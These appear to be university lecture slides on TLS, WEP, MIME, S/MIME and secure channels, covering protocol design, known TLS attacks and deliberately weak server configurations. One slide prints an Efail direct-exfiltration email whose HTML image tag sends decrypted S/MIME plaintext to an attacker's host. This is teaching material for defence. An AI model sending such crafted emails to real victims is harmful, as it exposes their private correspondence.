BTI 4202: Secure messaging and channels

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17.5.2024
Learning Objectives

TLS

Example Vulnerability: The Insecurity of WEP

MIME

S/MIME

Asynchronous bidirectional secure channels

References
Part I: TLS
TLS is everywhere

![SSL Certificate](https://www.google.de/)

### POP3
- Don't use SSL
- Use SSL for POP3 connection
- Use STARTTLS command to start SSL session

### Send (SMTP)
- Don't use SSL (but, if necessary, use STARTTLS)
- Use SSL for SMTP connection
- Use STARTTLS command to start SSL session
TLS versions

<table>
<thead>
<tr>
<th>Year</th>
<th>Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>1994</td>
<td>SSL v2</td>
</tr>
<tr>
<td>1995</td>
<td>SSL v3</td>
</tr>
<tr>
<td>1999</td>
<td>TLS v1.0</td>
</tr>
<tr>
<td>2006</td>
<td>TLS v1.1</td>
</tr>
<tr>
<td>2008</td>
<td>TLS v1.2</td>
</tr>
<tr>
<td>2018</td>
<td>TLS v1.3</td>
</tr>
</tbody>
</table>
TLS overview

Session key
Maximum record payload is 16kB.
Why Records?

Why not encrypt data in constant stream as we write to TCP?
Why Records?

Why not encrypt data in constant stream as we write to TCP?

- Where would we put the MAC?
- If at the end, we get no integrity until all data is processed!
- Most applications process/display data incrementally!

Records allow us to:

- Break stream into series of records
- Each record carries a MAC
- Receiver can act on record as it arrives!
Attacks on records

Attacker could re-order or replay records!
Attacks on records

Attacker could re-order or replay records!
  ▶ Put sequence number into MAC.
Attacker could truncate TCP stream!
Attacks on records

Attacker could re-order or replay records!
  - Put sequence number into MAC.
Attacker could truncate TCP stream!
  - Use record types.
  - Have special record type to indicate end of stream.
TLS protocol is way too complex
Many implementations in use
Vulnerabilities in protocol design and implementations
### Attacks on TLS and implementations

<table>
<thead>
<tr>
<th>Year</th>
<th>Attacks</th>
</tr>
</thead>
<tbody>
<tr>
<td>2011</td>
<td>BEAST</td>
</tr>
<tr>
<td>2012</td>
<td>CRIME</td>
</tr>
<tr>
<td>2013</td>
<td>BREACH, Lucky Thirteen</td>
</tr>
<tr>
<td>2014</td>
<td>Heartbleed, BERserk, POODLE</td>
</tr>
<tr>
<td>2015</td>
<td>FREAK, Logjam, MACE, RSA-CRT, Mar Mitzvah</td>
</tr>
<tr>
<td>2016</td>
<td>SLOTH, DROWN</td>
</tr>
<tr>
<td>2017</td>
<td>ROBOT</td>
</tr>
<tr>
<td>-----------------------------</td>
<td>------------------------------------------------------</td>
</tr>
</tbody>
</table>
"In order to defend against this attack, implementations MUST ensure that record processing time is essentially the same whether or not the padding is correct. [...] **This leaves a small timing channel**, since MAC performance depends to some extent on the size of the data fragment, but **it is not believed to be large enough to be exploitable**, due to the large block size of existing MACs and the small size of the timing signal.” (TLS 1.2, RFC 5246, 2008)
Many SSL/TLS modes built “authenticated encryption” by combining authentication and encryption.

Many attacks would have been avoided by using primitive that implements both in one, such as AES-GCM or ChaCha20-Poly1305.

Anything using ECB, CBC, CFB, OFB, CTR is likely broken.

GCM needs a nonce ⇒ another major failure mode.
SSL started with many primitives we now know consider insecure:
- RC4
- SHA1
- MD5
- 1024 bit DH with fixed parameters
- “export” ciphers
Evolution is slow as deprecation blocks connections:
- What percentage of clients is it OK to block?
- What percentage of servers is it OK to block?
- Many middleboxes require insecure versions!
- If old versions are supported, downgrade attacks are possible!
Origins of Complexity

1. We have a version negotiation mechanism
2. Servers have broken TLS implementations on version negotiation
3. Browsers implement workaround (“protocol dance”)
4. Workaround introduces security issue (downgrade)
5. Workaround for security issue introduced by workaround gets standardized.
TLS Usability

To use TLS securely, you need at least:

▶ Secure implementation
▶ Secure protocol configuration (cipher suite)
▶ X.509 certificate(s)
▶ Tell client you support TLS: Strict-Transport-Security header
▶ Secure certificate chains against bad CA:
  ▶ HTTP Public Key Pinning (HPKP)
  ▶ Certificate Patrol
  ▶ Certificate Transparency (CT)
Security by Default?

You wish:

SSLProtocol -SSLv2 -SSLv3 -TLSv1 TLSv1.1 +TLSv1.2
SSLHonorCipherOrder on
SSLCompression off
SSLCipherSuite ECDHE-ECDSA-AES256-GCM-SHA384:
ECDHE-RSA-AES256-GCM-SHA384:ECDH-RSA-AES256-
GCM-SHA384:ECDH-ECDSA-AES256-GCM-SHA384:ECDH-
RSA-RC4-SHA:RC4-SHA:TLSv1:!AES128:!3DES:!C
MELLIA:!SSLv2:HIGH:MEDIUM:!MD5:!LOW:!EXP:!NUL:
L:!aNULL

It is 2022 and our TLS configurations
still
look like this!
Security by Default?

You wish:

SSLProtocol -SSLv2 -SSLv3 -TLSv1 TLSv1.1 +TLSv1.2
SSLHonorCipherOrder on
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SSLCipherSuite ECDHE-ECDSA-AES256-GCM-SHA384:
  ECDHE-RSA-AES256-GCM-SHA384:ECDH-RSA-AES256-
  GCM-SHA384:ECDH-ECDSA-AES256-GCM-SHA384:ECDH-
  -RSA-RC4-SHA:RC4-SHA:TLSv1:!AES128:!3DES:!SHA:
  !MELLIA:!SSLv2:HIGH:MD5:LOW:EXP:NULL:L:!aNULL

It is 2022 and our TLS configurations still look like this!
The Future

TLS 1.3
TLS 1.3

- Attempt to break away from attack-patch-attack-patch design cycle
- Research community more involved
- ⇒ Formal security proofs (value?)
- Protocol differs significantly from previous versions
- Still lots of extensions, lots of modes
- Client still begins negotiation with ClientHello
TLS 1.3: Full Handshake

Connection Request

ClientHello
ClientKeyShare

Connection Acknowledged

ServerHello
ServerKeyShare
Certificate
Finished

Application Data

Time
TLS 1.3: Abbreviated Handshake

- Connection Request
- ClientHello
- ClientKeyShare
- Connection Acknowledged
- ServerHello Finished
- Finished
- Application Data
- Time: 0ms
- Time: 34ms
- Time: 102ms
- Time: 136ms
- TCP: 68ms
- TLS: 68ms
TLS 1.3: 0.5 RTT Handshake

Client Hello
Session Ticket (PSK)
Key share
HTTP GET

Server Hello
Key share
Finished
HTTP Answer
TLS 1.3

- Also deprecates many insecure ciphers
- Again has downgrade attack problem
- Still uses X.509 certificates

To check the maturity of your configuration, seek inspiration from

https://observatory.mozilla.org/
### tls.imirhil.fr

<table>
<thead>
<tr>
<th>Host</th>
<th><a href="http://www.bfh.ch">www.bfh.ch</a></th>
</tr>
</thead>
<tbody>
<tr>
<td>IP addresses:</td>
<td>94.239.211.116 94.238.211.117</td>
</tr>
<tr>
<td>Overall score:</td>
<td>68/100</td>
</tr>
<tr>
<td>Complete Results:</td>
<td><a href="https://tls.imirhil.fr/http://www.bfh.ch">https://tls.imirhil.fr/http://www.bfh.ch</a></td>
</tr>
</tbody>
</table>

### HTTP Headers & Content Security

<table>
<thead>
<tr>
<th>Host</th>
<th><a href="http://www.bfh.ch">www.bfh.ch</a></th>
</tr>
</thead>
<tbody>
<tr>
<td>Complete Results:</td>
<td><a href="https://securityheaders.com/?followRedirects=on&amp;hide=on&amp;up=www.bfh.ch">https://securityheaders.com/?followRedirects=on&amp;hide=on&amp;up=www.bfh.ch</a></td>
</tr>
</tbody>
</table>

### Miscellaneous

<table>
<thead>
<tr>
<th>Host</th>
<th><a href="http://www.bfh.ch">www.bfh.ch</a></th>
</tr>
</thead>
<tbody>
<tr>
<td>Preloaded:</td>
<td>No</td>
</tr>
</tbody>
</table>
| Notes: | - Domain is a subdomain, and can't be preloaded.  
- HSTS header missing the "includeSubDomains" attribute.  
- HSTS header missing the "preload" attribute. |
| Complete Results: | https://hstspreload.org/domain=www.bfh.ch |
Example: grothoff.org

### tls.imirhil.fr

<table>
<thead>
<tr>
<th>Host</th>
<th>grothoff.org</th>
</tr>
</thead>
<tbody>
<tr>
<td>Overall score</td>
<td>81/100</td>
</tr>
<tr>
<td>Complete Results</td>
<td><a href="https://tls.imirhil.fr/https://grothoff.org">https://tls.imirhil.fr/https://grothoff.org</a></td>
</tr>
</tbody>
</table>

### HTTP Headers & Content Security

#### securityheaders.com

<table>
<thead>
<tr>
<th>Host</th>
<th>grothoff.org</th>
</tr>
</thead>
<tbody>
<tr>
<td>Complete Results</td>
<td><a href="https://securityheaders.com/hello?file=direct&amp;findOrFail=&amp;query=grothoff.org">https://securityheaders.com/hello?file=direct&amp;findOrFail=&amp;query=grothoff.org</a></td>
</tr>
</tbody>
</table>

### Miscellaneous

#### hstspreload.org

<table>
<thead>
<tr>
<th>Host</th>
<th>grothoff.org</th>
</tr>
</thead>
<tbody>
<tr>
<td>Preloaded:</td>
<td>Yes</td>
</tr>
<tr>
<td>Notes:</td>
<td>HSTS header continues to meet preloading requirements.</td>
</tr>
<tr>
<td>Complete Results</td>
<td><a href="https://hstspreload.org/dnsname=grothoff.org">https://hstspreload.org/dnsname=grothoff.org</a></td>
</tr>
</tbody>
</table>
Part II: Insecurity of WEP
Homework: WEP Insecurity

Read the article “Intercepting Mobile Communications: The Insecurity of 802.11” until section 4.2. For each of the attacks, decryption (section 3), message modification (section 4.1) and message injection (section 4.2) explain:

▶ How does the attack work?
▶ Why does it work (i.e., what are the flaws that make the attack possible)?
Part III: Background: MIME
Message Handling System (X.400)
Message Structure

- Envelope
- Header
- Body
- Body Part
- Content
Simple Mail Transfer Protocol (SMTP) [6]

- client-server over reliable transport
- content is the object to be delivered to the recipient
- envelope is the information needed to transmit/deliver

Evolution: [6] → [5] → [4, 10]
SMTP Message Format [1]

[1] defines the format and some semantics of SMTP messages.

- Everything is 7-bit US-ASCII
- 1000 characters per line at most.
- Header lines (from:, to:, cc:), blank line, body.

Example:

Date: Tue, 16 Jan 2007 10:37:17 (EST)
From: "Alice" <alice@bfh.ch>
To: bob@bfh.ch
Subject: Test

Dear Bob, ...

Evolution: [1] → [7] → [8]
The message delivery path can be traced back due to the Received: header information.

Received: from smtpd-extern.it-sec.com
  by mail.bfh.ch
  with ESMTP
  id AAA6373
  for <someone@bfh.ch>;
  Wed, 23 Feb 2022 14:51:18 +0100
Received: from smtp-proxy.it-sec.com
  by smtpd-extern.it-sec.com
  with SMTP
  id OAA22551
  for <someone@bfh.ch>;
  Wed, 23 Feb 2022 14:51:02 +0100 (MET)
Received: from smtpd-intern.it-sec.com
  by smtp-proxy.it-sec.com
  with SMTP
  id <FHD9K7RK>;
  Wed, 23 Feb 2022 14:50:54 +0100
Received: by smtpd-intern.it-sec.com
  with SMTP
  id <FHD9K7RK>;
  Wed, 23 Feb 2022 14:50:34 +0100
Problems with RFC 822

- Binary files must be converted into ASCII (various schemes emerged (e.g. UUencode))
- Text data may include non-7-bit ASCII characters (e.g. German text)
- MTAs may do strange things:
  - Reject messages over a certain size
  - Delete, add, or reorder CR and LF characters
  - Truncate or wrap lines longer than 76 characters
  - Remove trailing white space (tabs and spaces)
  - Pad lines in a message to the same length
  - Convert tab characters into multiple spaces
Content-Transfer-Encoding

The problem of encoding is solved by several encoding schemes which encode arbitrary bytes (0–255) into 7-Bit-ASCII:

- “Q”-Encoding (Quoted-Printable)
- “B”-Encoding (Base64)
- ... and others

To know which one, the encoding is specified in a MIME Header:

Content-Type: image/gif
Content-Transfer-Encoding: base64
Quoted-Printable

Each 8-Bit value is replaced with 3 ASCII characters [2]:

1. character: “=”
2. character: 1st 4 Bits will be replaced with 0..F
3. character: 2nd 4 Bits will be replaced with 0..F

Examples:

\ö" (ASCII 246, hex F6) is replaced with =F6
\€\ (ASCII 128, hex 80) is replaced with =80

If applied to e-mail messages, only the bytes which are in the range of ASCII 128–256 are replaced: “Jörg Järman wohnt in Bümpliz” will lead to “J=F6rg J=E4rman wohnt in B=FCmpliz”. This encoding is suitable if the values between ASCII 128–256 appear rarely.
Multipurpose Internet Mail Extensions (MIME)

MIME defines message header fields, a number of content formats (standardized representation of multi-media contents) and transfer encodings that protect the content from alteration by the mail transfer system.
MIME Header Fields

- Mandatory fields
  - MIME-Version
  - Content-Type
  - Content-Transfer-Encoding

- Optional fields
  - Content-ID
  - Content-Description
MIME Content Types

▶ Tells recipient UA about appropriate way to deal with content, e.g., how to present to the user

▶ Syntax:

    Content-Type: <type>/<subtype> <; parameters>

▶ Initial set of seven top-level media types:

    ▶ five discrete types: text, image, audio, video, application
    ▶ two composite types: message, multipart

▶ Extensible – new media types may be registered with the IANA by procedure in [3]

S/MIME uses “application” and “multipart” types.
Example: Singlepart MIME Message

From: Alice@bfh.ch
To: Bob@bfh.ch
Subject: Test message 1

Mime-Version: 1.0
Content-Type: text/plain;
    charset="us ascii"
Content-Transfer-Encoding: 7bit

This is a MIME test message that is sent from Alice to Bob
Example: Multipart MIME Message

From: ...

Mime-Version: 1.0
Content-Type: multipart/mixed;
boundary=boundary_1

"This is a multi-part message in MIME format.
Content-Type: text/plain;
charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
Dear customer, here is our new software release V 1.2
--boundary_1
Content-Type: application/octet-stream;
name="Software.zip"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
filename="Software.zip"
UEsDBBQAAAAAIAMZLZDNSFrjHRAoAAHMWAAAAKAABWVpZXM1LnBkZu1Y...
Part IV: S/MIME
RSA Security Inc. developed S/MIME as a specification for digitally signed and/or encrypted and enveloped data in accordance to MIME message formats based on a Public Key Cryptography Standard (PKCS)

The protocol specification was named Secure Multipurpose Internet Mail Extensions (S/MIME)

Most MUAs support S/MIME natively
PKCS#7 defines cryptographic enhancements to data for signatures and encryption purpose.

PKCS#7 has no type to do both sign and encrypt.

Instead nesting is used to do both: Usually: first sign, then encrypt the result.

The IETF Cryptographic Message Syntax (CMS) is superset of PKCS#7.
PKCS#7 and S/MIME

- S/MIME is the standard to include PKCS#7 objects as MIME “attachments”.
- Content-types:
  - Multipart/Signed
  - Application/PKCS7-Signature
  - Application/PKCS7-MIME
- The content-transfer-encoding is base64
S/MIME History

- 1995: S/MIME version 1 has been specified and officially published by RSA Security, Inc.
- 1998: S/MIME version 2 has been updated in RFC 2311 and RFC 2312.
- 1999: The work was continued in the IETF S/MIME Mail Security (S/MIME) WG and resulted in S/MIME Version 3 specified in RFCs 2633.
- 2010: S/MIME Version is 3.2 (updated in RFC 5751).
- 2019: S/MIME Version is 4.0 (updated in RFC 8551).
Initial S/MIME processing produces a PKCS (Public Key Cryptography Standard) object. PKCS object includes information needed for processing by recipient as well as the content. But PKCS objects are in binary format, hence needs further base64 encoding to produce final result MIME object of S/MIME content-type. Recipient performs steps in reverse.
S/MIME Enveloped Data

EnvelopedData PKCS Object

RecipientInfo

EncryptedKey

Encrypted ContentInfo

EncryptedContent

Session Key K
Recipient's Public Key

MIME Entity

Base64 encoding

S/MIME header

S/MIME body:
Base64 encoded PKCS object
S/MIME Multipart/Signed Data

**MIME Entity**

- **Hash**
- **Sign**
- **Signature and Hash**
- **Signature and Hash algorithm**
- **SignerInfo and Signer's Cert**
- **PKCS object**
- **S/MIME header**
- **S/MIME body:**
  - **Base64 encoded PKCS object**
  - **MIME Object**

**Sender’s Private Key**

**Base64 encoding**
Cryptographic Message Syntax Content Types

- Enveloped data (application/pkcs7-mime; smime-type=enveloped-data)
- AuthEnveloped data (application/pkcs7-mime; smime-type = authEnveloped-data) [9]
- Signed data (application/pkcs7-mime; smime-type = signed-data)
  - Content + signature in one object, encoded using base64
  - Content + signature in two objects → Clear-Signed Data (multipart/signed)

Signed and enveloped data can be nested in any order!
Efail(.de)

- Exploits vulnerabilities in the OpenPGP and S/MIME standards to reveal the plaintext of encrypted emails.
- Abuses active content of HTML emails, for example externally loaded images or styles, to exfiltrate plaintext through requested URLs.
- Attacker first needs access to the encrypted emails, modifies it and sends this modified encrypted email to the victim.
- The victim’s email client decrypts the email and loads external content, thus exfiltrating the plaintext to the attacker.
Efail Direct exfiltration

From: attacker@efail.de
To: victim@company.com
Content-Type: multipart/mixed; boundary="BOUNDARY"

--BOUNDARY
Content-Type: text/html

<img src="http://efail.de/"
--BOUNDARY
Content-Type: application/pkcs7-mime;
   smime-type=enveloped-data
Content-Transfer-Encoding: base64

MIAGCSqGSIb3DQEHA6CAMIACAQAxgHXMIB0wIB...
--BOUNDARY
Content-Type: text/html
>
--BOUNDARY--
Part V: Asynchronous Bidirectional Secure Channels
Reminder: Forward secrecy

What happens if your private key is compromised to your past communication data?
Asynchronous forward secrecy: SCIMP

Idea of Silence Circle’s SCIMP:

Replace key with its own hash.

- New key in zero round trips!
- Forward secrecy!
Future secrecy

Suppose your regain control over your system. What happens with your *future* communication data?
References I

D. Crocker.
STANDARD FOR THE FORMAT OF ARPA INTERNET TEXT MESSAGES.
RFC 822 (Internet Standard), August 1982.
Obsoleted by RFC 2822, updated by RFCs 1123, 2156, 1327, 1138, 1148.

N. Freed and N. Borenstein.
Multipurpose Internet Mail Extensions (MIME) Part One: Format of Internet Message Bodies.
RFC 2045 (Draft Standard), November 1996.
Updated by RFCs 2184, 2231, 5335, 6532.

N. Freed, J. Klensin, and J. Postel.
Multipurpose Internet Mail Extensions (MIME) Part Four: Registration Procedures.
RFC 2048 (Best Current Practice), November 1996.
Obsoleted by RFCs 4288, 4289, updated by RFC 3023.
J. Klensin.
Simple Mail Transfer Protocol.
Updated by RFC 7504.

J. Klensin (Ed.).
Simple Mail Transfer Protocol.
Obsoleted by RFC 5321, updated by RFC 5336.

J. Postel.
Simple Mail Transfer Protocol.
Obsoleted by RFC 2821.
P. Resnick (Ed.).
Internet Message Format.
Obsoleted by RFC 5322, updated by RFCs 5335, 5336.

P. Resnick (Ed.).
Internet Message Format.
Updated by RFC 6854.

J. Schaad, B. Ramsdell, and S. Turner.
Secure/Multipurpose Internet Mail Extensions (S/MIME)
Version 4.0 Message Specification.
J. Yao (Ed.) and W. Mao (Ed.).
SMTP Extension for Internationalized Email Addresses.
RFC 5336 (Experimental), September 2008.
Obsoleted by RFC 6531.
Further reading

- How broken is TLS?
  http://media.ccc.de/browse/conferences/eh2014/EH2014--5744--de--shack-seminarraum--201404201530--wie_kaputt_ist_tls--hanno.html

- POODLE bites again https://www.imperialviolet.org/2014/12/08/poodleagain.html

- TLS 1.2 / RFC 5246
  https://www.ietf.org/rfc/rfc5246.txt

- Encrypt-then-MAC / RFC 7366

- RC4 attacks 2013 http://www.isg.rhul.ac.uk/tls/

- RC4 attacks 2015 IMAP / HTTP Basic Auth
  http://www.isg.rhul.ac.uk/tls/RC4mustdie.html

Further reading II

- **POODLE**

- **Dancing protocols, POODLEs and other tales from TLS**

- **BERserk**
  http://www.intelsecurity.com/advanced-threat-research/berserk.html

- **BERserk PoC**
  https://github.com/FiloSottile/BERserk

- **Bleichenbacher Signature Forgery 2006**
  https://www.ietf.org/mail-archive/web/openpgp/current/msg00999.html

- **miTLS - formally verified**
  http://www.mitls.org/

- **ocaml-tls**
  https://github.com/mirleft/ocaml-tls
Further reading III

- Quote on gmail TLS performance

- Ring Learning With Errors / post-quantum key exchange
  http://www.douglas.stebila.ca/research/papers/bcns15

- SPHINCS / post quantum signatures
  http://sphincs.cr.yp.to/

- Qualys SSL Labs Test
  https://www.ssllabs.com/ssltest/